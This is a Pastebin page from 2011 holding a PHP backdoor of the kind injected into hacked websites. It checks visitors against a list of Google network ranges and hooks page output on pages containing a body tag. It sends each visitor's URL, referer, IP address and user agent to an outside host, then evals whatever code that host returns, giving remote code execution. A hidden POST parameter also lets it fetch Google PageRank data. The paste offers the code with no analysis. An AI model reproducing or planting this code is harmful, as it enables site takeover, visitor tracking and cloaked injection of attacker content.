Want more features on Pastebin? Sign Up, it's FREE!
Guest

Untitled

By: a guest on Dec 12th, 2011  |  syntax: PHP  |  size: 9.46 KB  |  views: 84  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?php
  2. //{{9274243a
  3.  
  4. GLOBAL $wehaveitagain;
  5. if($wehaveitagain != 1)
  6. {
  7. $preverrx=error_reporting(0);
  8. $wehaveitagain = 1;
  9. $mynetsxx = array(
  10. '84.235.77.0' => 24,
  11. '8.8.8.0' => 24,
  12. '8.8.4.0' => 24,
  13. '8.6.48.0' => 21,
  14. '74.125.98.0' => 24,
  15. '74.125.97.0' => 24,
  16. '74.125.94.0' => 23,
  17. '74.125.92.0' => 23,
  18. '74.125.90.0' => 23,
  19. '74.125.86.0' => 23,
  20. '74.125.78.0' => 23,
  21. '74.125.76.0' => 23,
  22. '74.125.75.0' => 24,
  23. '74.125.74.0' => 24,
  24. '74.125.72.0' => 23,
  25. '74.125.70.0' => 23,
  26. '74.125.66.0' => 23,
  27. '74.125.64.0' => 23,
  28. '74.125.64.0' => 18,
  29. '74.125.63.0' => 24,
  30. '74.125.62.0' => 24,
  31. '74.125.61.0' => 24,
  32. '74.125.60.0' => 24,
  33. '74.125.58.0' => 24,
  34. '74.125.54.0' => 23,
  35. '74.125.52.0' => 23,
  36. '74.125.46.0' => 23,
  37. '74.125.44.0' => 23,
  38. '74.125.42.0' => 23,
  39. '74.125.38.0' => 23,
  40. '74.125.37.0' => 24,
  41. '74.125.36.0' => 24,
  42. '74.125.36.0' => 23,
  43. '74.125.33.0' => 24,
  44. '74.125.32.0' => 24,
  45. '74.125.30.0' => 23,
  46. '74.125.246.0' => 24,
  47. '74.125.245.0' => 24,
  48. '74.125.244.0' => 24,
  49. '74.125.239.0' => 24,
  50. '74.125.238.0' => 24,
  51. '74.125.237.0' => 24,
  52. '74.125.236.0' => 24,
  53. '74.125.235.0' => 24,
  54. '74.125.234.0' => 24,
  55. '74.125.233.0' => 24,
  56. '74.125.232.0' => 24,
  57. '74.125.230.0' => 24,
  58. '74.125.229.0' => 24,
  59. '74.125.227.0' => 24,
  60. '74.125.226.0' => 24,
  61. '74.125.225.0' => 24,
  62. '74.125.224.0' => 24,
  63. '74.125.192.0' => 18,
  64. '74.125.18.0' => 23,
  65. '74.125.17.0' => 24,
  66. '74.125.16.0' => 24,
  67. '74.125.158.0' => 23,
  68. '74.125.156.0' => 23,
  69. '74.125.154.0' => 23,
  70. '74.125.152.0' => 23,
  71. '74.125.151.0' => 24,
  72. '74.125.150.0' => 24,
  73. '74.125.149.0' => 24,
  74. '74.125.148.0' => 24,
  75. '74.125.146.0' => 23,
  76. '74.125.128.0' => 18,
  77. '74.125.126.0' => 23,
  78. '74.125.125.0' => 24,
  79. '74.125.122.0' => 24,
  80. '74.125.121.0' => 24,
  81. '74.125.120.0' => 24,
  82. '74.125.119.0' => 24,
  83. '74.125.118.0' => 24,
  84. '74.125.117.0' => 24,
  85. '74.125.116.0' => 24,
  86. '74.125.114.0' => 23,
  87. '74.125.112.0' => 23,
  88. '74.125.0.0' => 18,
  89. '74.125.0.0' => 16,
  90. '72.14.255.0' => 24,
  91. '72.14.254.0' => 24,
  92. '72.14.254.0' => 23,
  93. '72.14.253.0' => 24,
  94. '72.14.252.0' => 24,
  95. '72.14.252.0' => 23,
  96. '72.14.248.0' => 23,
  97. '72.14.246.0' => 23,
  98. '72.14.244.0' => 23,
  99. '72.14.236.0' => 24,
  100. '72.14.235.0' => 24,
  101. '72.14.234.0' => 24,
  102. '72.14.230.0' => 24,
  103. '72.14.228.0' => 24,
  104. '72.14.226.0' => 24,
  105. '72.14.225.0' => 24,
  106. '72.14.224.0' => 24,
  107. '72.14.220.0' => 23,
  108. '72.14.212.0' => 23,
  109. '72.14.210.0' => 23,
  110. '72.14.208.0' => 23,
  111. '72.14.204.0' => 23,
  112. '72.14.202.0' => 23,
  113. '72.14.199.0' => 24,
  114. '72.14.194.0' => 24,
  115. '72.14.193.0' => 24,
  116. '72.14.192.0' => 24,
  117. '72.14.192.0' => 18,
  118. '70.32.158.0' => 24,
  119. '70.32.155.0' => 24,
  120. '70.32.150.0' => 24,
  121. '70.32.140.0' => 23,
  122. '70.32.138.0' => 24,
  123. '70.32.136.0' => 24,
  124. '70.32.135.0' => 24,
  125. '70.32.134.0' => 24,
  126. '70.32.133.0' => 24,
  127. '70.32.132.0' => 24,
  128. '70.32.131.0' => 24,
  129. '70.32.130.0' => 24,
  130. '70.32.129.0' => 24,
  131. '70.32.128.0' => 24,
  132. '70.32.128.0' => 19,
  133. '66.249.94.0' => 24,
  134. '66.249.92.0' => 24,
  135. '66.249.91.0' => 24,
  136. '66.249.90.0' => 24,
  137. '66.249.88.0' => 23,
  138. '66.249.85.0' => 24,
  139. '66.249.84.0' => 24,
  140. '66.249.82.0' => 24,
  141. '66.249.81.0' => 24,
  142. '66.249.80.0' => 24,
  143. '66.249.72.0' => 24,
  144. '66.249.71.0' => 24,
  145. '66.249.69.0' => 24,
  146. '66.249.68.0' => 24,
  147. '66.249.67.0' => 24,
  148. '66.249.66.0' => 24,
  149. '66.249.65.0' => 24,
  150. '66.249.64.0' => 19,
  151. '66.102.8.0' => 23,
  152. '66.102.6.0' => 23,
  153. '66.102.4.0' => 24,
  154. '66.102.3.0' => 24,
  155. '66.102.2.0' => 24,
  156. '66.102.12.0' => 23,
  157. '66.102.10.0' => 23,
  158. '66.102.0.0' => 20,
  159. '64.9.224.0' => 20,
  160. '64.9.224.0' => 19,
  161. '64.233.188.0' => 23,
  162. '64.233.186.0' => 23,
  163. '64.233.182.0' => 23,
  164. '64.233.180.0' => 23,
  165. '64.233.178.0' => 23,
  166. '64.233.173.0' => 24,
  167. '64.233.172.0' => 24,
  168. '64.233.170.0' => 23,
  169. '64.233.168.0' => 23,
  170. '64.233.162.0' => 23,
  171. '64.233.160.0' => 19,
  172. '63.243.168.0' => 22,
  173. '4.3.2.0' => 24,
  174. '216.239.60.0' => 23,
  175. '216.239.58.0' => 23,
  176. '216.239.50.0' => 23,
  177. '216.239.44.0' => 23,
  178. '216.239.39.0' => 24,
  179. '216.239.38.0' => 24,
  180. '216.239.36.0' => 24,
  181. '216.239.34.0' => 24,
  182. '216.239.33.0' => 24,
  183. '216.239.32.0' => 24,
  184. '216.239.32.0' => 19,
  185. '209.85.238.0' => 24,
  186. '209.85.230.0' => 23,
  187. '209.85.228.0' => 23,
  188. '209.85.226.0' => 23,
  189. '209.85.224.0' => 23,
  190. '209.85.223.0' => 24,
  191. '209.85.222.0' => 24,
  192. '209.85.221.0' => 24,
  193. '209.85.220.0' => 24,
  194. '209.85.219.0' => 24,
  195. '209.85.218.0' => 24,
  196. '209.85.216.0' => 24,
  197. '209.85.213.0' => 24,
  198. '209.85.212.0' => 24,
  199. '209.85.211.0' => 24,
  200. '209.85.210.0' => 24,
  201. '209.85.208.0' => 23,
  202. '209.85.200.0' => 23,
  203. '209.85.198.0' => 23,
  204. '209.85.196.0' => 23,
  205. '209.85.194.0' => 23,
  206. '209.85.192.0' => 23,
  207. '209.85.174.0' => 23,
  208. '209.85.172.0' => 23,
  209. '209.85.170.0' => 23,
  210. '209.85.168.0' => 23,
  211. '209.85.166.0' => 23,
  212. '209.85.164.0' => 23,
  213. '209.85.162.0' => 23,
  214. '209.85.156.0' => 23,
  215. '209.85.152.0' => 23,
  216. '209.85.149.0' => 24,
  217. '209.85.148.0' => 23,
  218. '209.85.147.0' => 24,
  219. '209.85.146.0' => 24,
  220. '209.85.146.0' => 23,
  221. '209.85.144.0' => 23,
  222. '209.85.142.0' => 23,
  223. '209.85.139.0' => 24,
  224. '209.85.138.0' => 23,
  225. '209.85.136.0' => 23,
  226. '209.85.134.0' => 23,
  227. '209.85.132.0' => 24,
  228. '209.85.132.0' => 23,
  229. '209.85.128.0' => 23,
  230. '209.85.128.0' => 17,
  231. '193.186.4.0' => 24,
  232. '193.142.125.0' => 24,
  233. '173.255.112.0' => 20,
  234. '173.194.44.0' => 24,
  235. '173.194.43.0' => 24,
  236. '173.194.42.0' => 24,
  237. '173.194.41.0' => 24,
  238. '173.194.40.0' => 24,
  239. '173.194.37.0' => 24,
  240. '173.194.36.0' => 24,
  241. '173.194.35.0' => 24,
  242. '173.194.34.0' => 24,
  243. '173.194.33.0' => 24,
  244. '173.194.32.0' => 24,
  245. '173.194.0.0' => 16,
  246. '118.174.25.0' => 24,
  247. '118.174.24.0' => 24,
  248. '118.174.24.0' => 22,
  249. '113.197.106.0' => 24,
  250. '113.197.105.0' => 24,
  251. '108.59.80.0' => 20
  252. );
  253. function ip_in_networkxx($ip, $net_addr, $net_mask)
  254. {
  255.   if($net_mask <= 0) return false;
  256.   $ip_binary_string = sprintf("%032b",ip2long($ip));
  257.   $net_binary_string = sprintf("%032b",ip2long($net_addr));
  258.   return (strncmp($ip_binary_string,$net_binary_string,$net_mask) === 0);
  259. }
  260. function selfURL()
  261. {
  262.   if(!isset($_SERVER['REQUEST_URI'])) $suri = $_SERVER['PHP_SELF'];
  263.   else $suri = $_SERVER['REQUEST_URI'];
  264.   $s = empty($_SERVER["HTTPS"]) ? '' : ($_SERVER["HTTPS"] == "on") ? "s" : "";
  265.   $sp=strtolower($_SERVER["SERVER_PROTOCOL"]);
  266.   $pr = substr($sp,0,strpos($sp,"/")).$s;
  267.   $pt = ($_SERVER["SERVER_PORT"] == "80") ? "" : (":".$_SERVER["SERVER_PORT"]);
  268.   return $pr."://".$_SERVER['SERVER_NAME'].$pt.$suri;
  269. }
  270. function rewrioutclbkxxx1($str) { return rewriout($str,1); }
  271. function rewrioutclbkxxx2($str) { return rewriout($str,2); }
  272. function rewrioutclbkxxx3($str) { return rewriout($str,3); }
  273. function rewriout($str, $ev)
  274. {
  275.   error_reporting(0);
  276.   if(stripos($str, '<body') !== false)
  277.   {
  278.     $id = "4dae82bf67843a194c004694";
  279.     $url = "http://innvidn.com/ck.gif";
  280.     $ctx = stream_context_create(array('http' => array('timeout' => 3)));
  281.     $req = $url.'?ev='.$ev.'&url='.urlencode(selfURL()).'&id='.urlencode($id).'&ref='.urlencode($_SERVER['HTTP_REFERER']).'&ip='.$_SERVER['REMOTE_ADDR'].'&ua='.urlencode($_SERVER['HTTP_USER_AGENT']);
  282.     $answergrhey11=file_get_contents($req, 0, $ctx);
  283.     if($answergrhey11 != FALSE && strncmp('/*CODE', $answergrhey11, 6) == 0)
  284.     {
  285.       return eval($answergrhey11);
  286.     }
  287.   }
  288.   return false;
  289. }
  290. function StrToNum($Str, $Check, $Magic)
  291. {
  292.    $Int32Unit = 4294967296;
  293.    $length = strlen($Str);
  294.    for ($i = 0; $i < $length; $i++) {
  295.        $Check *= $Magic;
  296.        if ($Check >= $Int32Unit) {
  297.            $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
  298.            $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
  299.        }
  300.        $Check += ord($Str{$i});
  301.    }
  302.    return $Check;
  303. }
  304. function HashURL($String)
  305. {
  306.    $Check1 = StrToNum($String, 0x1505, 0x21);
  307.    $Check2 = StrToNum($String, 0, 0x1003F);
  308.    $Check1 >>= 2;
  309.    $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
  310.    $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
  311.    $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
  312.    $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
  313.    $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
  314.    return ($T1 | $T2);
  315. }
  316. function CheckHash($Hashnum)
  317. {
  318.    $CheckByte = 0;
  319.    $Flag = 0;
  320.    $HashStr = sprintf('%u', $Hashnum) ;
  321.    $length = strlen($HashStr);
  322.    for ($i = $length-1; $i >= 0;  $i--) {
  323.        $Re = $HashStr{$i};
  324.        if (1 === ($Flag % 2)) {
  325.            $Re += $Re;
  326.            $Re = (int)($Re / 10) + ($Re % 10);
  327.        }
  328.        $CheckByte += $Re;
  329.        $Flag ++;
  330.    }
  331.    $CheckByte %= 10;
  332.    if (0 !== $CheckByte) {
  333.        $CheckByte = 10 - $CheckByte;
  334.        if (1 === ($Flag % 2) ) {
  335.            if (1 === ($CheckByte % 2)) {
  336.                $CheckByte += 9;
  337.            }
  338.            $CheckByte >>= 1;
  339.        }
  340.    }
  341.    return '7'.$CheckByte.$HashStr;
  342. }
  343. function getpr($url)
  344. {
  345.    $ch = CheckHash(HashURL($url));
  346.    $file = "http://toolbarqueries.google.com/tbr?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";
  347.    $data = file_get_contents($file);
  348.    return $data;
  349. }
  350. if(isset($_POST['prgetxr']))
  351. {
  352.   echo getpr($_POST['prgetxr']);
  353.   exit();
  354. }
  355. else
  356. {
  357.   $ev = 0;
  358.   foreach($mynetsxx as  $key => $value)
  359.   {
  360.     if(ip_in_networkxx($_SERVER['REMOTE_ADDR'], $key, $value)) {
  361.       $ev = 1;
  362.       break;
  363.     }
  364.   }
  365.   if($ev == 0) {
  366.     if(isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'google.') !== false) {
  367.         $ev = 2;
  368.     }
  369.     elseif(mt_rand(1,100) == 50) {
  370.         $ev = 3;
  371.     }
  372.   }
  373.   if(isset($_GET['showmeallpls'])) {
  374.     $ev = $_GET['showmeallpls'];
  375.   }
  376.   if($ev > 0) {
  377.         ob_start('rewrioutclbkxxx'.$ev);
  378.   }
  379. }
  380. error_reporting($preverrx);
  381. }
  382. /*  */
  383.  
  384. //}}50001388
  385. ?>
  386.  
clone this paste RAW Paste Data